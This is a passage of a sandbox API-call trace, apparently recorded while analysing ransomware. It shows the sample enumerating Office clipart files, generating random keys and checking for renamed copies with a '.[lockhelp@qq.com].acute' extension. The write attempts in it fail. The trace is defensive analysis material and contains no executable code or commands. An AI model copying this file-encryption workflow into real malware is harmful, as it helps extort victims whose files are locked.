hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.812] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=10832) returned 1 [0274.812] CloseHandle (hObject=0x30c) returned 1 [0274.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0274.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.815] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.826] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=14428) returned 1 [0274.826] CloseHandle (hObject=0x30c) returned 1 [0274.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0274.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.826] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.827] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3344) returned 1 [0274.827] CloseHandle (hObject=0x30c) returned 1 [0274.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0274.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.828] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.828] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1596) returned 1 [0274.828] CloseHandle (hObject=0x30c) returned 1 [0274.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0274.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.828] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.831] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7968) returned 1 [0274.831] CloseHandle (hObject=0x30c) returned 1 [0274.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0274.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.832] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.832] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1832) returned 1 [0274.832] CloseHandle (hObject=0x30c) returned 1 [0274.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0274.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.832] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.833] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=26332) returned 1 [0274.833] CloseHandle (hObject=0x30c) returned 1 [0274.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0274.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.834] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.834] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=27858) returned 1 [0274.834] CloseHandle (hObject=0x30c) returned 1 [0274.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0274.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.834] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.834] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3746) returned 1 [0274.834] CloseHandle (hObject=0x30c) returned 1 [0274.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0274.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.834] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.835] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5836) returned 1 [0274.835] CloseHandle (hObject=0x30c) returned 1 [0274.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0274.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.835] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.835] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3012) returned 1 [0274.835] CloseHandle (hObject=0x30c) returned 1 [0274.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0274.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.835] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.836] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2756) returned 1 [0274.836] CloseHandle (hObject=0x30c) returned 1 [0274.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0274.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.836] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.836] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7372) returned 1 [0274.836] CloseHandle (hObject=0x30c) returned 1 [0274.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0274.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.836] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.837] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7540) returned 1 [0274.837] CloseHandle (hObject=0x30c) returned 1 [0274.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0274.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.837] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.838] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6632) returned 1 [0274.838] CloseHandle (hObject=0x30c) returned 1 [0274.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0274.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.838] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.839] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2108) returned 1 [0274.839] CloseHandle (hObject=0x30c) returned 1 [0274.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0274.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.839] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.839] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9240) returned 1 [0274.839] CloseHandle (hObject=0x30c) returned 1 [0274.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0274.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), 